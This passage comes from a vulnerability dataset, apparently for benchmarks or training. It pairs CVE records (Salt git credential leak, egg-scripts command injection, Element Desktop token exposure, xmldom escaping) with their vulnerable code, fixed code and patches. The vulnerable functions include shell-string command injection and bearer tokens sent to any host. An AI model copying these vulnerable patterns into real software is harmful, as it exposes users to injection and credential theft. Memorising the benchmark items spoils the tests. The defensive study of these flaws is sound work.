'git/ssh-id-wrapper')\n                tmp_file = utils.mkstemp()\n                utils.files.copyfile(ssh_id_wrapper, tmp_file)\n                os.chmod(tmp_file, 0o500)\n                os.chown(tmp_file, __salt__['file.user_to_uid'](runas), -1)\n                env['GIT_SSH'] = tmp_file\n\n            try:\n                result = __salt__['cmd.run_all'](cmd,\n                                                 cwd=cwd,\n                                                 runas=runas,\n                                                 output_loglevel='quiet',\n                                                 env=env,\n                                                 python_shell=False,\n                                                 **kwargs)\n            finally:\n                if 'GIT_SSH' in env:\n                    os.remove(env['GIT_SSH'])\n\n            # if the command was successful, no need to try additional IDs\n            if result['retcode'] == 0:\n                return result['stdout']\n            else:\n                stderr = _remove_sensitive_data(result['stderr'])\n                stderrs.append(stderr)\n\n        # we've tried all IDs and still haven't passed, so error out\n        raise CommandExecutionError(\"\\n\\n\".join(stderrs))\n\n    else:\n        result = __salt__['cmd.run_all'](cmd,\n                                         cwd=cwd,\n                                         runas=runas,\n                                         output_loglevel='quiet',\n                                         env=env,\n                                         python_shell=False,\n                                         **kwargs)\n        retcode = result['retcode']\n\n        if retcode == 0:\n            return result['stdout']\n        else:\n            stderr = _remove_sensitive_data(result['stderr'])\n            raise CommandExecutionError(\n                'Command {0!r} failed. Stderr: {1!r}'.format(cmd, stderr))"}, {"id": "fix_py_307_2", "commit": "28aa9b105804ff433d8f663b2f9b804f2b75495a", "file_path": "salt/modules/git.py", "start_line": 102, "end_line": 106, "snippet": "def _remove_sensitive_data(sensitive_output):\n    '''\n        Remove HTTP user and password.\n    '''\n    return re.sub('(https?)://.*@', r'\\1://<redacted>@', sensitive_output)"}], "vul_patch": "--- a/salt/modules/git.py\n+++ b/salt/modules/git.py\n@@ -38,6 +38,7 @@\n                 result = __salt__['cmd.run_all'](cmd,\n                                                  cwd=cwd,\n                                                  runas=runas,\n+                                                 output_loglevel='quiet',\n                                                  env=env,\n                                                  python_shell=False,\n                                                  **kwargs)\n@@ -49,7 +50,8 @@\n             if result['retcode'] == 0:\n                 return result['stdout']\n             else:\n-                stderrs.append(result['stderr'])\n+                stderr = _remove_sensitive_data(result['stderr'])\n+                stderrs.append(stderr)\n \n         # we've tried all IDs and still haven't passed, so error out\n         raise CommandExecutionError(\"\\n\\n\".join(stderrs))\n@@ -58,6 +60,7 @@\n         result = __salt__['cmd.run_all'](cmd,\n                                          cwd=cwd,\n                                          runas=runas,\n+                                         output_loglevel='quiet',\n                                          env=env,\n                                          python_shell=False,\n                                          **kwargs)\n@@ -66,6 +69,6 @@\n         if retcode == 0:\n             return result['stdout']\n         else:\n+            stderr = _remove_sensitive_data(result['stderr'])\n             raise CommandExecutionError(\n-                'Command {0!r} failed. Stderr: {1!r}'.format(cmd,\n-                                                             result['stderr']))\n+                'Command {0!r} failed. Stderr: {1!r}'.format(cmd, stderr))\n\n--- /dev/null\n+++ b/salt/modules/git.py\n@@ -0,0 +1,5 @@\n+def _remove_sensitive_data(sensitive_output):\n+    '''\n+        Remove HTTP user and password.\n+    '''\n+    return re.sub('(https?)://.*@', r'\\1://<redacted>@', sensitive_output)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-3786", "cve_description": "A command injection vulnerability in egg-scripts <v2.8.1 allows arbitrary shell command execution through a maliciously crafted command line argument.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/eggjs/egg-scripts", "patch_url": ["https://github.com/eggjs/egg-scripts/commit/b98fd03d1e3aaed68004b881f0b3d42fe47341dd"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_117_1", "commit": "08f8ea9", "file_path": "lib/cmd/start.js", "start_line": 207, "end_line": 251, "snippet": "  * checkStatus({ stderr, timeout, 'ignore-stderr': ignoreStdErr }) {\n    let count = 0;\n    let hasError = false;\n    let isSuccess = true;\n    timeout = timeout / 1000;\n    while (!this.isReady) {\n      try {\n        const stat = yield fs.stat(stderr);\n        if (stat && stat.size > 0) {\n          hasError = true;\n          break;\n        }\n      } catch (_) {\n        // nothing\n      }\n\n      if (count >= timeout) {\n        this.logger.error('Start failed, %ds timeout', timeout);\n        isSuccess = false;\n        break;\n      }\n\n      yield sleep(1000);\n      this.logger.log('Wait Start: %d...', ++count);\n    }\n\n    if (hasError) {\n      try {\n        const [ stdout ] = yield exec('tail -n 100 ' + stderr);\n        this.logger.error('Got error when startup: ');\n        this.logger.error(stdout);\n      } catch (_) {\n        // nothing\n      }\n      isSuccess = ignoreStdErr;\n      this.logger.error('Start got error, see %s', stderr);\n      this.logger.error('Or use `--ignore-stderr` to ignore stderr at startup.');\n    }\n\n    if (!isSuccess) {\n      this.child.kill('SIGTERM');\n      yield sleep(1000);\n      this.exit(1);\n    }\n  }"}], "fix_func": [{"id": "fix_js_117_1", "commit": "b98fd03", "file_path": "lib/cmd/start.js", "start_line": 207, "end_line": 254, "snippet": "  * checkStatus({ stderr, timeout, 'ignore-stderr': ignoreStdErr }) {\n    let count = 0;\n    let hasError = false;\n    let isSuccess = true;\n    timeout = timeout / 1000;\n    while (!this.isReady) {\n      try {\n        const stat = yield fs.stat(stderr);\n        if (stat && stat.size > 0) {\n          hasError = true;\n          break;\n        }\n      } catch (_) {\n        // nothing\n      }\n\n      if (count >= timeout) {\n        this.logger.error('Start failed, %ds timeout', timeout);\n        isSuccess = false;\n        break;\n      }\n\n      yield sleep(1000);\n      this.logger.log('Wait Start: %d...', ++count);\n    }\n\n    if (hasError) {\n      try {\n        const args = [ '-n', '100', stderr ];\n        this.logger.error('tail %s', args.join(' '));\n        const [ stdout ] = yield execFile('tail', args);\n        this.logger.error('Got error when startup: ');\n        this.logger.error(stdout);\n      } catch (err) {\n        this.logger.error('ignore tail error: %s', err);\n      }\n\n      isSuccess = ignoreStdErr;\n      this.logger.error('Start got error, see %s', stderr);\n      this.logger.error('Or use `--ignore-stderr` to ignore stderr at startup.');\n    }\n\n    if (!isSuccess) {\n      this.child.kill('SIGTERM');\n      yield sleep(1000);\n      this.exit(1);\n    }\n  }"}], "vul_patch": "--- a/lib/cmd/start.js\n+++ b/lib/cmd/start.js\n@@ -26,12 +26,15 @@\n \n     if (hasError) {\n       try {\n-        const [ stdout ] = yield exec('tail -n 100 ' + stderr);\n+        const args = [ '-n', '100', stderr ];\n+        this.logger.error('tail %s', args.join(' '));\n+        const [ stdout ] = yield execFile('tail', args);\n         this.logger.error('Got error when startup: ');\n         this.logger.error(stdout);\n-      } catch (_) {\n-        // nothing\n+      } catch (err) {\n+        this.logger.error('ignore tail error: %s', err);\n       }\n+\n       isSuccess = ignoreStdErr;\n       this.logger.error('Start got error, see %s', stderr);\n       this.logger.error('Or use `--ignore-stderr` to ignore stderr at startup.');\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-47771", "cve_description": "Element Desktop is a Matrix client for desktop platforms. Element Desktop versions 1.11.70 through 1.11.80 contain a vulnerability which can, under specially crafted conditions, lead to the access token becoming exposed to third parties. At least one vector has been identified internally, involving malicious widgets, but other vectors may exist. Users are strongly advised to upgrade to version 1.11.81 to remediate the issue. As a workaround, avoid granting permissions to untrusted widgets.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/element-hq/element-desktop", "patch_url": ["https://github.com/element-hq/element-desktop/commit/6c78684e84ba7f460aedba6f017760e2323fdf4b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_288_1", "commit": "6d56284dbd1f20ab2cbad2935686755c8d612fe1", "file_path": "src/media-auth.ts", "start_line": 36, "end_line": 71, "snippet": "export function setupMediaAuth(window: BrowserWindow): void {\n    session.defaultSession.webRequest.onBeforeRequest(async (req, callback) => {\n        // This handler emulates the element-web service worker, where URLs are rewritten late in the request\n        // for backwards compatibility. As authenticated media becomes more prevalent, this should be replaced\n        // by the app using authenticated URLs from the outset.\n        let url = req.url;\n        if (!url.includes(\"/_matrix/media/v3/download\") && !url.includes(\"/_matrix/media/v3/thumbnail\")) {\n            return callback({}); // not a URL we care about\n        }\n\n        const supportedVersions = await getSupportedVersions(window);\n        // We have to check that the access token is truthy otherwise we'd be intercepting pre-login media request too,\n        // e.g. those required for SSO button icons.\n        const accessToken = await getAccessToken(window);\n        if (supportedVersions.includes(\"v1.11\") && accessToken) {\n            url = url.replace(/\\/media\\/v3\\/(.*)\\//, \"/client/v1/media/$1/\");\n            return callback({ redirectURL: url });\n        } else {\n            return callback({}); // no support == no modification\n        }\n    });\n\n    session.defaultSession.webRequest.onBeforeSendHeaders(async (req, callback) => {\n        if (!req.url.includes(\"/_matrix/client/v1/media\")) {\n            return callback({}); // invoke unmodified\n        }\n\n        // Only add authorization header to authenticated media URLs. This emulates the service worker\n        // behaviour in element-web.\n        const accessToken = await getAccessToken(window);\n        // `accessToken` can be falsy, but if we're trying to download media without authentication\n        // then we should expect failure anyway.\n        const headers = { ...req.requestHeaders, Authorization: `Bearer ${accessToken}` };\n        return callback({ requestHeaders: headers });\n    });\n}"}], "fix_func": [{"id": "fix_js_288_1", "commit": "6c78684e84ba7f460aedba6f017760e2323fdf4b", "file_path": "src/media-auth.ts", "start_line": 49, "end_line": 106, "snippet": "export function setupMediaAuth(window: BrowserWindow): void {\n    session.defaultSession.webRequest.onBeforeRequest(async (req, callback) => {\n        // This handler emulates the element-web service worker, where URLs are rewritten late in the request\n        // for backwards compatibility. As authenticated media becomes more prevalent, this should be replaced\n        // by the app using authenticated URLs from the outset.\n        try {\n            const url = new URL(req.url);\n            if (\n                !url.pathname.startsWith(\"/_matrix/media/v3/download\") &&\n                !url.pathname.startsWith(\"/_matrix/media/v3/thumbnail\")\n            ) {\n                return callback({}); // not a URL we care about\n            }\n\n            const supportedVersions = await getSupportedVersions(window);\n            // We have to check that the access token is truthy otherwise we'd be intercepting pre-login media request too,\n            // e.g. those required for SSO button icons.\n            const accessToken = await getAccessToken(window);\n            if (supportedVersions.includes(\"v1.11\") && accessToken) {\n                url.href = url.href.replace(/\\/media\\/v3\\/(.*)\\//, \"/client/v1/media/$1/\");\n                return callback({ redirectURL: url.toString() });\n            } else {\n                return callback({}); // no support == no modification\n            }\n        } catch (e) {\n            console.error(e);\n        }\n    });\n\n    session.defaultSession.webRequest.onBeforeSendHeaders(async (req, callback) => {\n        try {\n            const url = new URL(req.url);\n            if (!url.pathname.startsWith(\"/_matrix/client/v1/media\")) {\n                return callback({}); // invoke unmodified\n            }\n\n            // Is this request actually going to the homeserver?\n            // We don't combine this check with the one above on purpose.\n            // We're fetching the homeserver url through IPC and should do so\n            // as sparingly as possible.\n            const homeserver = await getHomeserverUrl(window);\n            const isRequestToHomeServer = homeserver && url.origin === new URL(homeserver).origin;\n            if (!isRequestToHomeServer) {\n                return callback({}); // invoke unmodified\n            }\n\n            // Only add authorization header to authenticated media URLs. This emulates the service worker\n            // behaviour in element-web.\n            const accessToken = await getAccessToken(window);\n            // `accessToken` can be falsy, but if we're trying to download media without authentication\n            // then we should expect failure anyway.\n            const headers = { ...req.requestHeaders, Authorization: `Bearer ${accessToken}` };\n            return callback({ requestHeaders: headers });\n        } catch (e) {\n            console.error(e);\n        }\n    });\n}"}], "vul_patch": "--- a/src/media-auth.ts\n+++ b/src/media-auth.ts\n@@ -3,34 +3,56 @@\n         // This handler emulates the element-web service worker, where URLs are rewritten late in the request\n         // for backwards compatibility. As authenticated media becomes more prevalent, this should be replaced\n         // by the app using authenticated URLs from the outset.\n-        let url = req.url;\n-        if (!url.includes(\"/_matrix/media/v3/download\") && !url.includes(\"/_matrix/media/v3/thumbnail\")) {\n-            return callback({}); // not a URL we care about\n-        }\n+        try {\n+            const url = new URL(req.url);\n+            if (\n+                !url.pathname.startsWith(\"/_matrix/media/v3/download\") &&\n+                !url.pathname.startsWith(\"/_matrix/media/v3/thumbnail\")\n+            ) {\n+                return callback({}); // not a URL we care about\n+            }\n \n-        const supportedVersions = await getSupportedVersions(window);\n-        // We have to check that the access token is truthy otherwise we'd be intercepting pre-login media request too,\n-        // e.g. those required for SSO button icons.\n-        const accessToken = await getAccessToken(window);\n-        if (supportedVersions.includes(\"v1.11\") && accessToken) {\n-            url = url.replace(/\\/media\\/v3\\/(.*)\\//, \"/client/v1/media/$1/\");\n-            return callback({ redirectURL: url });\n-        } else {\n-            return callback({}); // no support == no modification\n+            const supportedVersions = await getSupportedVersions(window);\n+            // We have to check that the access token is truthy otherwise we'd be intercepting pre-login media request too,\n+            // e.g. those required for SSO button icons.\n+            const accessToken = await getAccessToken(window);\n+            if (supportedVersions.includes(\"v1.11\") && accessToken) {\n+                url.href = url.href.replace(/\\/media\\/v3\\/(.*)\\//, \"/client/v1/media/$1/\");\n+                return callback({ redirectURL: url.toString() });\n+            } else {\n+                return callback({}); // no support == no modification\n+            }\n+        } catch (e) {\n+            console.error(e);\n         }\n     });\n \n     session.defaultSession.webRequest.onBeforeSendHeaders(async (req, callback) => {\n-        if (!req.url.includes(\"/_matrix/client/v1/media\")) {\n-            return callback({}); // invoke unmodified\n+        try {\n+            const url = new URL(req.url);\n+            if (!url.pathname.startsWith(\"/_matrix/client/v1/media\")) {\n+                return callback({}); // invoke unmodified\n+            }\n+\n+            // Is this request actually going to the homeserver?\n+            // We don't combine this check with the one above on purpose.\n+            // We're fetching the homeserver url through IPC and should do so\n+            // as sparingly as possible.\n+            const homeserver = await getHomeserverUrl(window);\n+            const isRequestToHomeServer = homeserver && url.origin === new URL(homeserver).origin;\n+            if (!isRequestToHomeServer) {\n+                return callback({}); // invoke unmodified\n+            }\n+\n+            // Only add authorization header to authenticated media URLs. This emulates the service worker\n+            // behaviour in element-web.\n+            const accessToken = await getAccessToken(window);\n+            // `accessToken` can be falsy, but if we're trying to download media without authentication\n+            // then we should expect failure anyway.\n+            const headers = { ...req.requestHeaders, Authorization: `Bearer ${accessToken}` };\n+            return callback({ requestHeaders: headers });\n+        } catch (e) {\n+            console.error(e);\n         }\n-\n-        // Only add authorization header to authenticated media URLs. This emulates the service worker\n-        // behaviour in element-web.\n-        const accessToken = await getAccessToken(window);\n-        // `accessToken` can be falsy, but if we're trying to download media without authentication\n-        // then we should expect failure anyway.\n-        const headers = { ...req.requestHeaders, Authorization: `Bearer ${accessToken}` };\n-        return callback({ requestHeaders: headers });\n     });\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-32796", "cve_description": "xmldom is an open source pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. xmldom versions 0.6.0 and older do not correctly escape special characters when serializing elements removed from their ancestor. This may lead to unexpected syntactic changes during XML processing in some downstream applications. This issue has been resolved in version 0.7.0. As a workaround downstream applications can validate the input and reject the maliciously crafted documents.", "cwe_info": {"CWE-116": {"name": "Improper Encoding or Escaping of Output", "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."}}, "repo": "https://github.com/xmldom/xmldom", "patch_url": ["https://github.com/xmldom/xmldom/commit/7b4b743917a892d407356e055b296dcd6d107e8b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_74_1", "commit": "9b92ff4", "file_path": "lib/dom.js", "start_line": 1133, "end_line": 1310, "snippet": "function serializeToString(node,buf,isHTML,nodeFilter,visibleNamespaces){\n\tif (!visibleNamespaces) {\n\t\tvisibleNamespaces = [];\n\t}\n\n\tif(nodeFilter){\n\t\tnode = nodeFilter(node);\n\t\tif(node){\n\t\t\tif(typeof node == 'string'){\n\t\t\t\tbuf.push(node);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}else{\n\t\t\treturn;\n\t\t}\n\t\t//buf.sort.apply(attrs, attributeSorter);\n\t}\n\n\tswitch(node.nodeType){\n\tcase ELEMENT_NODE:\n\t\tvar attrs = node.attributes;\n\t\tvar len = attrs.length;\n\t\tvar child = node.firstChild;\n\t\tvar nodeName = node.tagName;\n\t\t\n\t\tisHTML = NAMESPACE.isHTML(node.namespaceURI) || isHTML\n\n\t\tvar prefixedNodeName = nodeName\n\t\tif (!isHTML && !node.prefix && node.namespaceURI) {\n\t\t\tvar defaultNS\n\t\t\tfor (var ai = 0; ai < attrs.length; ai++) {\n\t\t\t\tif (attrs.item(ai).name === 'xmlns') {\n\t\t\t\t\tdefaultNS = attrs.item(ai).value\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (defaultNS !== node.namespaceURI) {\n\t\t\t\tfor (var nsi = visibleNamespaces.length - 1; nsi >= 0; nsi--) {\n\t\t\t\t\tvar namespace = visibleNamespaces[nsi]\n\t\t\t\t\tif (namespace.namespace === node.namespaceURI) {\n\t\t\t\t\t\tif (namespace.prefix) {\n\t\t\t\t\t\t\tprefixedNodeName = namespace.prefix + ':' + nodeName\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tbuf.push('<', prefixedNodeName);\n\n\t\tfor(var i=0;i<len;i++){\n\t\t\t// add namespaces for attributes\n\t\t\tvar attr = attrs.item(i);\n\t\t\tif (attr.prefix == 'xmlns') {\n\t\t\t\tvisibleNamespaces.push({ prefix: attr.localName, namespace: attr.value });\n\t\t\t}else if(attr.nodeName == 'xmlns'){\n\t\t\t\tvisibleNamespaces.push({ prefix: '', namespace: attr.value });\n\t\t\t}\n\t\t}\n\n\t\tfor(var i=0;i<len;i++){\n\t\t\tvar attr = attrs.item(i);\n\t\t\tif (needNamespaceDefine(attr,isHTML, visibleNamespaces)) {\n\t\t\t\tvar prefix = attr.prefix||'';\n\t\t\t\tvar uri = attr.namespaceURI;\n\t\t\t\tvar ns = prefix ? ' xmlns:' + prefix : \" xmlns\";\n\t\t\t\tbuf.push(ns, '=\"' , uri , '\"');\n\t\t\t\tvisibleNamespaces.push({ prefix: prefix, namespace:uri });\n\t\t\t}\n\t\t\tserializeToString(attr,buf,isHTML,nodeFilter,visibleNamespaces);\n\t\t}\n\n\t\t// add namespace for current node\t\t\n\t\tif (nodeName === prefixedNodeName && needNamespaceDefine(node, isHTML, visibleNamespaces)) {\n\t\t\tvar prefix = node.prefix||'';\n\t\t\tvar uri = node.namespaceURI;\n\t\t\tvar ns = prefix ? ' xmlns:' + prefix : \" xmlns\";\n\t\t\tbuf.push(ns, '=\"' , uri , '\"');\n\t\t\tvisibleNamespaces.push({ prefix: prefix, namespace:uri });\n\t\t}\n\t\t\n\t\tif(child || isHTML && !/^(?:meta|link|img|br|hr|input)$/i.test(nodeName)){\n\t\t\tbuf.push('>');\n\t\t\t//if is cdata child node\n\t\t\tif(isHTML && /^script$/i.test(nodeName)){\n\t\t\t\twhile(child){\n\t\t\t\t\tif(child.data){\n\t\t\t\t\t\tbuf.push(child.data);\n\t\t\t\t\t}else{\n\t\t\t\t\t\tserializeToString(child, buf, isHTML, nodeFilter, visibleNamespaces.slice());\n\t\t\t\t\t}\n\t\t\t\t\tchild = child.nextSibling;\n\t\t\t\t}\n\t\t\t}else\n\t\t\t{\n\t\t\t\twhile(child){\n\t\t\t\t\tserializeToString(child, buf, isHTML, nodeFilter, visibleNamespaces.slice());\n\t\t\t\t\tchild = child.nextSibling;\n\t\t\t\t}\n\t\t\t}\n\t\t\tbuf.push('</',prefixedNodeName,'>');\n\t\t}else{\n\t\t\tbuf.push('/>');\n\t\t}\n\t\t// remove added visible namespaces\n\t\t//visibleNamespaces.length = startVisibleNamespaces;\n\t\treturn;\n\tcase DOCUMENT_NODE:\n\tcase DOCUMENT_FRAGMENT_NODE:\n\t\tvar child = node.firstChild;\n\t\twhile(child){\n\t\t\tserializeToString(child, buf, isHTML, nodeFilter, visibleNamespaces.slice());\n\t\t\tchild = child.nextSibling;\n\t\t}\n\t\treturn;\n\tcase ATTRIBUTE_NODE:\n\t\t/**\n\t\t * Well-formedness constraint: No < in Attribute Values\n\t\t * The replacement text of any entity referred to directly or indirectly in an attribute value must not contain a <.\n\t\t * @see https://www.w3.org/TR/xml/#CleanAttrVals\n\t\t * @see https://www.w3.org/TR/xml/#NT-AttValue\n\t\t */\n\t\treturn buf.push(' ', node.name, '=\"', node.value.replace(/[<&\"]/g,_xmlEncoder), '\"');\n\tcase TEXT_NODE:\n\t\t/**\n\t\t * The ampersand character (&) and the left angle bracket (<) must not appear in their literal form,\n\t\t * except when used as markup delimiters, or within a comment, a processing instruction, or a CDATA section.\n\t\t * If they are needed elsewhere, they must be escaped using either numeric character references or the strings\n\t\t * `&amp;` and `&lt;` respectively.\n\t\t * The right angle bracket (>) may be represented using the string \" &gt; \", and must, for compatibility,\n\t\t * be escaped using either `&gt;` or a character reference when it appears in the string `]]>` in content,\n\t\t * when that string is not marking the end of a CDATA section.\n\t\t *\n\t\t * In the content of elements, character data is any string of characters\n\t\t * which does not contain the start-delimiter of any markup\n\t\t * and does not include the CDATA-section-close delimiter, `]]>`.\n\t\t *\n\t\t * @see https://www.w3.org/TR/xml/#NT-CharData\n\t\t */\n\t\treturn buf.push(node.data\n\t\t\t.replace(/[<&]/g,_xmlEncoder)\n\t\t\t.replace(/]]>/g, ']]&gt;')\n\t\t);\n\tcase CDATA_SECTION_NODE:\n\t\treturn buf.push( '<![CDATA[',node.data,']]>');\n\tcase COMMENT_NODE:\n\t\treturn buf.push( \"<!--\",node.data,\"-->\");\n\tcase DOCUMENT_TYPE_NODE:\n\t\tvar pubid = node.publicId;\n\t\tvar sysid = node.systemId;\n\t\tbuf.push('<!DOCTYPE ',node.name);\n\t\tif(pubid){\n\t\t\tbuf.push(' PUBLIC ', pubid);\n\t\t\tif (sysid && sysid!='.') {\n\t\t\t\tbuf.push(' ', sysid);\n\t\t\t}\n\t\t\tbuf.push('>');\n\t\t}else if(sysid && sysid!='.'){\n\t\t\tbuf.push(' SYSTEM ', sysid, '>');\n\t\t}else{\n\t\t\tvar sub = node.internalSubset;\n\t\t\tif(sub){\n\t\t\t\tbuf.push(\" [\",sub,\"]\");\n\t\t\t}\n\t\t\tbuf.push(\">\");\n\t\t}\n\t\treturn;\n\tcase PROCESSING_INSTRUCTION_NODE:\n\t\treturn buf.push( \"<?\",node.target,\" \",node.data,\"?>\");\n\tcase ENTITY_REFERENCE_NODE:\n\t\treturn buf.push( '&',node.nodeName,';');\n\t//case ENTITY_NODE:\n\t//case NOTATION_NODE:\n\tdefault:\n\t\tbuf.push('??',node.nodeName);\n\t}\n}"}], "fix_func": [{"id": "fix_js_74_1", "commit": "7b4b743917a892d407356e055b296dcd6d107e8b", "file_path": "lib/dom.js", "start_line": 1142, "end_line": 1311, "snippet": "function serializeToString(node,buf,isHTML,nodeFilter,visibleNamespaces){\n\tif (!visibleNamespaces) {\n\t\tvisibleNamespaces = [];\n\t}\n\n\tif(nodeFilter){\n\t\tnode = nodeFilter(node);\n\t\tif(node){\n\t\t\tif(typeof node == 'string'){\n\t\t\t\tbuf.push(node);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}else{\n\t\t\treturn;\n\t\t}\n\t\t//buf.sort.apply(attrs, attributeSorter);\n\t}\n\n\tswitch(node.nodeType){\n\tcase ELEMENT_NODE:\n\t\tvar attrs = node.attributes;\n\t\tvar len = attrs.length;\n\t\tvar child = node.firstChild;\n\t\tvar nodeName = node.tagName;\n\t\t\n\t\tisHTML = NAMESPACE.isHTML(node.namespaceURI) || isHTML\n\n\t\tvar prefixedNodeName = nodeName\n\t\tif (!isHTML && !node.prefix && node.namespaceURI) {\n\t\t\tvar defaultNS\n\t\t\tfor (var ai = 0; ai < attrs.length; ai++) {\n\t\t\t\tif (attrs.item(ai).name === 'xmlns') {\n\t\t\t\t\tdefaultNS = attrs.item(ai).value\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (defaultNS !== node.namespaceURI) {\n\t\t\t\tfor (var nsi = visibleNamespaces.length - 1; nsi >= 0; nsi--) {\n\t\t\t\t\tvar namespace = visibleNamespaces[nsi]\n\t\t\t\t\tif (namespace.namespace === node.namespaceURI) {\n\t\t\t\t\t\tif (namespace.prefix) {\n\t\t\t\t\t\t\tprefixedNodeName = namespace.prefix + ':' + nodeName\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tbuf.push('<', prefixedNodeName);\n\n\t\tfor(var i=0;i<len;i++){\n\t\t\t// add namespaces for attributes\n\t\t\tvar attr = attrs.item(i);\n\t\t\tif (attr.prefix == 'xmlns') {\n\t\t\t\tvisibleNamespaces.push({ prefix: attr.localName, namespace: attr.value });\n\t\t\t}else if(attr.nodeName == 'xmlns'){\n\t\t\t\tvisibleNamespaces.push({ prefix: '', namespace: attr.value });\n\t\t\t}\n\t\t}\n\n\t\tfor(var i=0;i<len;i++){\n\t\t\tvar attr = attrs.item(i);\n\t\t\tif (needNamespaceDefine(attr,isHTML, visibleNamespaces)) {\n\t\t\t\tvar prefix = attr.prefix||'';\n\t\t\t\tvar uri = attr.namespaceURI;\n\t\t\t\taddSerializedAttribute(buf, prefix ? 'xmlns:' + prefix : \"xmlns\", uri);\n\t\t\t\tvisibleNamespaces.push({ prefix: prefix, namespace:uri });\n\t\t\t}\n\t\t\tserializeToString(attr,buf,isHTML,nodeFilter,visibleNamespaces);\n\t\t}\n\n\t\t// add namespace for current node\t\t\n\t\tif (nodeName === prefixedNodeName && needNamespaceDefine(node, isHTML, visibleNamespaces)) {\n\t\t\tvar prefix = node.prefix||'';\n\t\t\tvar uri = node.namespaceURI;\n\t\t\taddSerializedAttribute(buf, prefix ? 'xmlns:' + prefix : \"xmlns\", uri);\n\t\t\tvisibleNamespaces.push({ prefix: prefix, namespace:uri });\n\t\t}\n\t\t\n\t\tif(child || isHTML && !/^(?:meta|link|img|br|hr|input)$/i.test(nodeName)){\n\t\t\tbuf.push('>');\n\t\t\t//if is cdata child node\n\t\t\tif(isHTML && /^script$/i.test(nodeName)){\n\t\t\t\twhile(child){\n\t\t\t\t\tif(child.data){\n\t\t\t\t\t\tbuf.push(child.data);\n\t\t\t\t\t}else{\n\t\t\t\t\t\tserializeToString(child, buf, isHTML, nodeFilter, visibleNamespaces.slice());\n\t\t\t\t\t}\n\t\t\t\t\tchild = child.nextSibling;\n\t\t\t\t}\n\t\t\t}else\n\t\t\t{\n\t\t\t\twhile(child){\n\t\t\t\t\tserializeToString(child, buf, isHTML, nodeFilter, visibleNamespaces.slice());\n\t\t\t\t\tchild = child.nextSibling;\n\t\t\t\t}\n\t\t\t}\n\t\t\tbuf.push('</',prefixedNodeName,'>');\n\t\t}else{\n\t\t\tbuf.push('/>');\n\t\t}\n\t\t// remove added visible namespaces\n\t\t//visibleNamespaces.length = startVisibleNamespaces;\n\t\treturn;\n\tcase DOCUMENT_NODE:\n\tcase DOCUMENT_FRAGMENT_NODE:\n\t\tvar child = node.firstChild;\n\t\twhile(child){\n\t\t\tserializeToString(child, buf, isHTML, nodeFilter, visibleNamespaces.slice());\n\t\t\tchild = child.nextSibling;\n\t\t}\n\t\treturn;\n\tcase ATTRIBUTE_NODE:\n\t\treturn addSerializedAttribute(buf, node.name, node.value);\n\tcase TEXT_NODE:\n\t\t/**\n\t\t * The ampersand character (&) and the left angle bracket (<) must not appear in their literal form,\n\t\t * except when used as markup delimiters, or within a comment, a processing instruction, or a CDATA section.\n\t\t * If they are needed elsewhere, they must be escaped using either numeric character references or the strings\n\t\t * `&amp;` and `&lt;` respectively.\n\t\t * The right angle bracket (>) may be represented using the string \" &gt; \", and must, for compatibility,\n\t\t * be escaped using either `&gt;` or a character reference when it appears in the string `]]>` in content,\n\t\t * when that string is not marking the end of a CDATA section.\n\t\t *\n\t\t * In the content of elements, character data is any string of characters\n\t\t * which does not contain the start-delimiter of any markup\n\t\t * and does not include the CDATA-section-close delimiter, `]]>`.\n\t\t *\n\t\t * @see https://www.w3.org/TR/xml/#NT-CharData\n\t\t */\n\t\treturn buf.push(node.data\n\t\t\t.replace(/[<&]/g,_xmlEncoder)\n\t\t\t.replace(/]]>/g, ']]&gt;')\n\t\t);\n\tcase CDATA_SECTION_NODE:\n\t\treturn buf.push( '<![CDATA[',node.data,']]>');\n\tcase COMMENT_NODE:\n\t\treturn buf.push( \"<!--\",node.data,\"-->\");\n\tcase DOCUMENT_TYPE_NODE:\n\t\tvar pubid = node.publicId;\n\t\tvar sysid = node.systemId;\n\t\tbuf.push('<!DOCTYPE ',node.name);\n\t\tif(pubid){\n\t\t\tbuf.push(' PUBLIC ', pubid);\n\t\t\tif (sysid && sysid!='.') {\n\t\t\t\tbuf.push(' ', sysid);\n\t\t\t}\n\t\t\tbuf.push('>');\n\t\t}else if(sysid && sysid!='.'){\n\t\t\tbuf.push(' SYSTEM ', sysid, '>');\n\t\t}else{\n\t\t\tvar sub = node.internalSubset;\n\t\t\tif(sub){\n\t\t\t\tbuf.push(\" [\",sub,\"]\");\n\t\t\t}\n\t\t\tbuf.push(\">\");\n\t\t}\n\t\treturn;\n\tcase PROCESSING_INSTRUCTION_NODE:\n\t\treturn buf.push( 